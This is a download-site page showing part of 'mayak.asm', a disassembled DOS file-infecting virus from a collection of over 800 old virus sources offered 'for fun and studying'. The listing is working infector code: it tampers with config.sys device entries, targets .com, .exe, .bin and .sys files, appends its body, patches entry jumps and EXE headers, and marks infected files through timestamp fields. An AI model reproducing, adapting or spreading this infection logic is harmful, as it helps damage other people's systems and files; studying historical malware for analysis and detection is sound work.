⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 mayak.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 2 页
字号:
loc_41:
		loop	locloop_40		; Loop if cx > 0

		pop	cx
		pop	di
		repe	scasb			; Rep zf=1+cx >0 Scan es:[di] for al
		push	si
		dec	di
		push	di
		lea	di,[si+4FEh]		; Load effective addr
		pop	si
		mov	cx,6

locloop_42:
		lodsb				; String [si] to al
		or	al,20h			; ' '
		scasb				; Scan es:[di] for al
		loopz	locloop_42		; Loop if zf=1, cx>0

		mov	di,si
		pop	si
		jnz	loc_38			; Jump if not zero
		mov	cx,28h
		mov	al,20h			; ' '
		repe	scasb			; Rep zf=1+cx >0 Scan es:[di] for al
		cmp	byte ptr [di-1],3Dh	; '='
		jne	loc_38			; Jump if not equal
		repe	scasb			; Rep zf=1+cx >0 Scan es:[di] for al
		dec	di
		mov	dx,di
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		mov	byte ptr [di-1],0
		push	bx
		call	sub_11
		jz	loc_44			; Jump if zero
		mov	di,dx
		cmp	byte ptr [di],5Ch	; '\'
		je	loc_43			; Jump if equal
		dec	di
		mov	byte ptr [di],5Ch	; '\'
loc_43:
		dec	di
		dec	di
		mov	word ptr [di],3A63h
		mov	dx,di
loc_44:
		mov	ax,3D02h
		int	3			; Debug breakpoint
		jc	loc_45			; Jump if carry Set
		mov	bx,ax
		mov	ax,402h
		call	sub_20
		mov	ah,3Eh			; '>'
		int	3			; Debug breakpoint
loc_45:
		pop	bx
		jmp	loc_38
loc_46:
		mov	ah,3Eh			; '>'
		int	3			; Debug breakpoint
		retn
sub_8		endp

		db	'c:\config.sys'
		db	 00h, 64h, 65h, 76h, 69h, 63h
		db	 65h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_10		proc	near
		sub	cx,7BCh
		dec	dx
		dec	dh
		mov	al,1Fh
		mul	dh			; ax = reg * al
		xor	dh,dh			; Zero register
		add	dx,ax
		push	dx
		mov	ax,16Eh
		mul	cx			; dx:ax = reg * ax
		pop	dx
		add	ax,dx
		retn
sub_10		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_11		proc	near
		mov	di,dx
		mov	cx,0FFFFh
		xor	al,al			; Zero register
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		neg	cx
		dec	cx
		dec	di
		dec	di
		mov	bx,di
		mov	di,dx
		mov	al,3Ah			; ':'
		repne	scasb			; Rep zf=0+cx >0 Scan es:[di] for al
		retn
sub_11		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_12		proc	near
		cld				; Clear direction
		push	bx
		push	si
		push	ds
		pop	es
		call	sub_11
		jnz	loc_48			; Jump if not zero
		mov	al,[di-2]
		or	al,20h			; ' '
		sub	al,61h			; 'a'
		jmp	short loc_49
loc_48:
		mov	ah,19h
		int	3			; Debug breakpoint
loc_49:
		std				; Set direction flag
		push	cs
		pop	es
		lea	di,[si+584h]		; Load effective addr
		mov	si,bx
		mov	bl,al
		mov	ah,4
loc_50:
		mov	cx,4
		push	di
		push	si

locloop_51:
		lodsb				; String [si] to al
		or	al,20h			; ' '
		scasb				; Scan es:[di] for al
		loopz	locloop_51		; Loop if zf=1, cx>0

		pop	si
		pop	di
		jz	loc_53			; Jump if zero
		sub	di,4
		dec	ah
		jz	loc_53			; Jump if zero
		jmp	short loc_50
loc_53:
		cld				; Clear direction
		mov	al,bl
		pop	si
		pop	bx
		retn
sub_12		endp

		db	'.com.exe.bin.sys'

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_13		proc	near
		mov	ax,4200h
		xor	cx,cx			; Zero register
		int	3			; Debug breakpoint
		retn
sub_13		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_14		proc	near
		mov	ax,4202h
		xor	cx,cx			; Zero register
		xor	dx,dx			; Zero register
		int	3			; Debug breakpoint
		retn
sub_14		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_15		proc	near
		push	ax
		and	ah,ah
		jz	loc_56			; Jump if zero
		xor	dx,dx			; Zero register
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,6
		int	3			; Debug breakpoint
		cmp	ax,6
		jne	loc_56			; Jump if not equal
		pop	ax
		push	ax
		cmp	ah,2
		jb	loc_55			; Jump if below
		jnz	loc_54			; Jump if not zero
		cmp	word ptr ds:[91Eh][si],5A4Dh
		jne	loc_56			; Jump if not equal
		jmp	short loc_55
loc_54:
		cmp	word ptr ds:[91Eh][si],0FFFFh
		jne	loc_56			; Jump if not equal
		cmp	word ptr ds:[920h][si],0FFFFh
		jne	loc_56			; Jump if not equal
loc_55:
		pop	ax
		stc				; Set carry flag
		retn
loc_56:
		pop	ax
		clc				; Clear carry flag
		retn
sub_15		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_16		proc	near
		push	ax
		mov	ax,5700h
		int	3			; Debug breakpoint
		mov	word ptr ds:[93Fh][si],cx
		mov	word ptr ds:[941h][si],dx
		and	cx,1Fh
		cmp	cx,1Fh
		pop	ax
		retn
sub_16		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_17		proc	near
		call	sub_14
		mov	ah,40h			; '@'
		mov	dx,si
		mov	cx,923h
		int	3			; Debug breakpoint
		retn
sub_17		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_18		proc	near
		call	sub_14
		add	ax,1FFh
		adc	dx,0
		mov	al,ah
		mov	ah,dl
		shr	ax,1			; Shift w/zeros fill
		mov	word ptr ds:[91Eh][si],ax
		mov	dx,4
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,2
		int	3			; Debug breakpoint
		retn
sub_18		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_19		proc	near
		push	es
		push	bx
		xor	bx,bx			; Zero register
		mov	ds,bx
		les	bx,dword ptr ds:data_6e	; Load 32 bit ptr
		mov	word ptr cs:[937h][si],bx
		mov	word ptr cs:[939h][si],es
		lea	bx,[si+41Dh]		; Load effective addr
		mov	ds:data_6e,bx
		mov	word ptr ds:data_6e+2,cs
		push	ds
		push	cs
		push	cs
		pop	ds
		pop	es
		push	ax
		cld				; Clear direction
		lea	dx,[si+970h]		; Load effective addr
		mov	di,dx
		add	al,61h			; 'a'
		mov	ah,3Ah			; ':'
		stosw				; Store ax to es:[di]
		mov	word ptr [di],5Ch
		mov	ah,5Ah			; 'Z'
		xor	cx,cx			; Zero register
		int	3			; Debug breakpoint
		jc	loc_59			; Jump if carry Set
		mov	bx,ax
		mov	ah,3Eh			; '>'
		int	3			; Debug breakpoint
		jc	loc_59			; Jump if carry Set
		mov	ah,41h			; 'A'
		int	3			; Debug breakpoint
loc_59:
		pop	ax
		pop	ds
		les	bx,dword ptr cs:[937h][si]	; Load 32 bit ptr
		mov	ds:data_6e,bx
		mov	word ptr ds:data_6e+2,es
		push	cs
		pop	ds
		pop	bx
		pop	es
		retn
sub_19		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_20		proc	near
		push	cs
		push	cs
		pop	ds
		pop	es
		call	sub_15
		jc	loc_60			; Jump if carry Set
		jmp	loc_69
loc_60:
		call	sub_16
		jnz	loc_61			; Jump if not zero
		jmp	loc_69
loc_61:
		call	sub_19
		jnc	loc_62			; Jump if carry=0
		jmp	loc_69
loc_62:
		cmp	ah,1
		je	loc_65			; Jump if equal
		cmp	ah,2
		jne	loc_63			; Jump if not equal
		jmp	loc_67
loc_63:
		mov	ah,3Fh			; '?'
		lea	dx,[si+42h]		; Load effective addr
		nop				;*ASM fixup - displacement
		mov	cx,2
		int	3			; Debug breakpoint
		mov	ah,3Fh			; '?'
		lea	dx,[si+60h]		; Load effective addr
		nop				;*ASM fixup - displacement
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,[si+60h]
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,5
		int	3			; Debug breakpoint
		call	sub_14
		cmp	ax,0F000h
		jbe	loc_64			; Jump if below or =
		jmp	loc_69
loc_64:
		mov	word ptr ds:[925h][si],ax
		mov	dx,6
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+925h]		; Load effective addr
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,[si+60h]
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+919h]		; Load effective addr
		mov	cx,5
		int	3			; Debug breakpoint
		call	sub_17
		jmp	loc_68
loc_65:
		call	sub_14
		cmp	ax,0F000h
		jbe	loc_66			; Jump if below or =
		jmp	loc_69
loc_66:
		add	ax,123h
		mov	word ptr ds:[925h][si],ax
		xor	dx,dx			; Zero register
		call	sub_13
		mov	byte ptr ds:[924h][si],0E9h
		mov	ah,40h			; '@'
		lea	dx,[si+924h]		; Load effective addr
		mov	cx,3
		int	3			; Debug breakpoint
		call	sub_17
		jmp	short loc_68
loc_67:
		mov	dx,4
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,6
		int	3			; Debug breakpoint
		call	sub_14
		add	ax,1FFh
		adc	dx,0
		shr	dx,1			; Shift w/zeros fill
		rcr	ax,1			; Rotate thru carry
		mov	al,ah
		mov	ah,dl
		cmp	ax,word ptr ds:[91Eh][si]
		jne	loc_69			; Jump if not equal
		mov	dx,14h
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+122h]		; Load effective addr
		mov	cx,4
		int	3			; Debug breakpoint
		call	sub_14
		mov	di,word ptr ds:[922h][si]
		mov	cl,4
		shl	di,cl			; Shift w/zeros fill
		sub	ax,di
		sbb	dx,0
		add	ax,0FEh
		adc	dx,0
		mov	cl,0Ch
		shl	dx,cl			; Shift w/zeros fill
		mov	word ptr ds:[91Eh][si],ax
		mov	word ptr ds:[920h][si],dx
		mov	dx,14h
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,4
		int	3			; Debug breakpoint
		call	sub_17
		call	sub_18
loc_68:
		mov	ax,5701h
		mov	cx,word ptr ds:[93Fh][si]
		mov	dx,word ptr ds:[941h][si]
		or	cx,1Fh
		int	3			; Debug breakpoint
loc_69:
		xor	dx,dx			; Zero register
		call	sub_13
		retn
sub_20		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_21		proc	near
		push	cs
		push	cs
		pop	ds
		pop	es
		call	sub_15
		jc	loc_70			; Jump if carry Set
		jmp	loc_79
loc_70:
		call	sub_16
		jz	loc_71			; Jump if zero
		jmp	loc_79
loc_71:
		call	sub_19
		jnc	loc_72			; Jump if carry=0
		jmp	loc_79
loc_72:
		cmp	ah,1
		je	loc_74			; Jump if equal
		cmp	ah,2
		jne	loc_73			; Jump if not equal
		jmp	loc_76
loc_73:
		mov	ah,3Fh			; '?'
		lea	dx,[si+42h]		; Load effective addr
		nop				;*ASM fixup - displacement
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,[si+42h]
		add	dx,42h
		nop				;*ASM fixup - sign extn byte
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,6
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,[si+42h]
		add	dx,91Eh
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,5
		int	3			; Debug breakpoint
		mov	dx,8
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+60h]		; Load effective addr
		nop				;*ASM fixup - displacement
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,[si+60h]
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,5
		int	3			; Debug breakpoint
		mov	dx,[si+42h]
		call	sub_13
		mov	ah,40h			; '@'
		xor	cx,cx			; Zero register
		int	3			; Debug breakpoint
		jmp	loc_78
loc_74:
		cmp	byte ptr ds:[91Eh][si],0E9h
		je	loc_75			; Jump if equal
		jmp	loc_79
loc_75:
		sub	word ptr ds:[91Fh][si],123h
		mov	dx,word ptr ds:[91Fh][si]
		add	dx,91Eh
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+924h]		; Load effective addr
		mov	cx,3
		int	3			; Debug breakpoint
		xor	dx,dx			; Zero register
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+924h]		; Load effective addr
		mov	cx,3
		int	3			; Debug breakpoint
		mov	dx,word ptr ds:[91Fh][si]
		call	sub_13
		mov	ah,40h			; '@'
		xor	cx,cx			; Zero register
		int	3			; Debug breakpoint
		jmp	short loc_78
loc_76:
		mov	dx,8
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,2
		int	3			; Debug breakpoint
		mov	dx,14h
		call	sub_13
		mov	ah,3Fh			; '?'
		lea	dx,[si+122h]		; Load effective addr
		mov	cx,4
		int	3			; Debug breakpoint
		mov	cl,0Ch
		shr	word ptr ds:[124h][si],cl	; Shift w/zeros fill
		mov	ax,word ptr ds:[91Eh][si]
		mov	cl,4
		shl	ax,cl			; Shift w/zeros fill
		sub	ax,0FEh
		cwd				; Word to double word
		add	word ptr ds:[122h][si],ax
		adc	word ptr ds:[124h][si],dx
		mov	ax,4200h
		mov	dx,word ptr ds:[122h][si]
		mov	cx,word ptr ds:[124h][si]
		add	dx,122h
		adc	cx,0
		int	3			; Debug breakpoint
		mov	ah,3Fh			; '?'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,4
		int	3			; Debug breakpoint
		mov	dx,14h
		call	sub_13
		mov	ah,40h			; '@'
		lea	dx,[si+91Eh]		; Load effective addr
		mov	cx,4
		int	3			; Debug breakpoint
		mov	ax,4200h
		mov	dx,word ptr ds:[122h][si]
		mov	cx,word ptr ds:[124h][si]
		int	3			; Debug breakpoint
		mov	ah,40h			; '@'
		xor	cx,cx			; Zero register
		int	3			; Debug breakpoint
		call	sub_18
loc_78:
		mov	ax,5701h
		mov	cx,word ptr ds:[93Fh][si]
		mov	dx,word ptr ds:[941h][si]
		and	cx,0FFE0h
		int	3			; Debug breakpoint
loc_79:
		xor	dx,dx			; Zero register
		call	sub_13
		retn
sub_21		endp

		db	 26h, 11h,0EAh, 4Ah, 00h, 00h
		db	 70h,0B0h,0F3h,0E6h, 60h,0B9h
		db	 1Ah, 1Ah
		db	716 dup (1Ah)

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -